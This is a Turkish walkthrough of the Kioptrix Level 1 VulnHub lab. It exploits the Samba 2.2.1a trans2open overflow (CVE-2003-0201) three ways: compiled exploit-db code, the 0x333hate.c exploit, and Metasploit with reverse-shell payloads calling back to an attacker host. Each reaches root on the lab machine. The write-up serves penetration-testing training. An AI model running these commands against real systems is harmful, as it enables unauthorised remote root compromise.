Yazıda kullanılan Kioptrix: Seviye – 1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
nmap aracı ile port taraması gerçekleştirildiğinde TCP/139 portunda SAMBA servisinin kullanıldığı görülmektedir.
nmap -Pn -n –open -sV 10.10.2.174 -p139
smbclient aracı ile SAMBA servis sürümünün 2.2.1a olduğu tespit edilebilir.
smbclient -L 10.10.2.174 -N
SAMBA servisinin sürüm keşfi için enum4linux aracı da kullanılabilir.
enum4linux -o 10.10.2.174
MSF smb_version auxiliary modülü ile de SAMBA servisinin sürümü keşfedilebilir.
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.10.2.174
run
SAMBA 2.2.1a sürümünde (ve bazı diğer sürümlerde) “trans2.c” içerisindeki call_trans2open fonksiyonunda bellek taşma zafiyeti bulunmaktadır. Bu sürüme ait kodlar SAMBA sayfasından indirilebilir.
https://download.samba.org/pub/samba/old-versions/samba-2.2.1a.tar.gz
SAMBA 2.2.1a sürümündeki bu zafiyet ile kimlik bilgisi doğrulaması gerçekleştirilmeden SAMBA servisini çalıştıran kullanıcı yetkisi ile uzaktan kod çalıştırılabilmektedir. Detaylar için CVE-2003-0201 incelenebilir.
https://nvd.nist.gov/vuln/detail/CVE-2003-0201
Bu zafiyet 3 farklı yöntem ile istismar edilecektir.
1) 10.c Kodu ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı için Exploit-db’den araştırma yapılabilir. Çevrimdışı araştırma için “searchsploit” aracı kullanılabilir.
searchsploit samba -t 2.2.1a
searchsploit samba -t 2.2.1
searchsploit samba -t 2.2.
Samba 2.2.1a istismarı için 10.c kodu kullanılabilir. Kod derlenip, kullanımı incelendiğinde hedef sistemin işletim sisteminin detayına ihtiyaç duyulduğu görülmektedir.
cp /usr/share/exploitdb/platforms/linux/remote/10.c .
gcc 10.c -o Samba2.2.1a_Istismari
./Samba2.2.1a_Istismari
Detaylı işletim sistemi taraması gerçekleştirildiğinde hedefin Linux olduğu görülmektedir.
nmap -Pn -n –open -p139 10.10.2.174 -A
Böylece istismar işlemi gerçekleştirilmiş ve “root” kullanıcı hakları ile erişim elde edilmiştir.
./Samba2.2.1a_Istismari -b 0 -v 10.10.2.174
uname -a
Not: Aynı zafiyeti istismar etmek için 7.pl betiği kullanıldığında komut satırı elde edilememiştir. Bunun muhtemel sebebi, hedef işletim sisteminin 64 bit olması ancak 7.pl betiğinin 32 bit işletim sistemleri için hazırlanmış olmasıdır.
cp /usr/share/exploitdb/platforms/linux/remote/7.pl .
perl 7.pl
perl 7.pl -t linx86 -H 10.10.2.128 -h 10.10.2.174
2) 0x333hate.c Kodu ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı internette araştırıldığında SANS tarafından sunulan bir makaleye ulaşılabilir.
https://pen-testing.sans.org/resources/papers/gcih/0x333hatec-samba-remote-root-exploit-102967
Makale incelendiğinde 0x333hate.c adlı bir C kodu da tespit edilir. Bu kod derlendiğinde uyarı alınabilmektedir.
wget http://downloads.securityfocus.com/vulnerabilities/exploits/0x333hate.c
gcc 0x333hate.c -o 0x333hate_Derlenmis
Derlenmiş koda hedef sistem verildiğinde zafiyet istismar edilmekte ve “root” yetkisine sahip olunmabilmektedir.
./0x333hate_Derlenmis
./0x333hate_Derlenmis -t 10.10.2.174
whoami
3) MSF trans2open Modülü ile SAMBA 2.2.1a İstismarı
Samba 2.2.1a istismarı için MSF trans2open modülü kullanılabilir.
use exploit/linux/samba/trans2open
show options
Hedef IP ayarlandıktan sonra modül çalıştırılır.
set RHOST 10.10.2.174
run
Ancak mevcut payload (linux/x86/meterpreter/reverse_tcp) ile bağlantı hatası alınmaktadır.
show options
Payload değiştirildiğinde ise, erişim elde edilebilmiştir.
set payload generic/shell_reverse_tcp
set LHOST 10.10.2.128
run
Benzer olarak “linux/x86/shell_reverse_tcp“, “linux/x86/shell/bind_tcp” gibi payload’lar da kullanılabilirdi.
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 10.10.2.128
run
id
uname -a
Kaynak:
https://pentestimonials.wordpress.com/2017/01/31/kioptrix-1/
https://blog.techorganic.com/2012/07/04/kioptrix-hacking-challenge-part-1/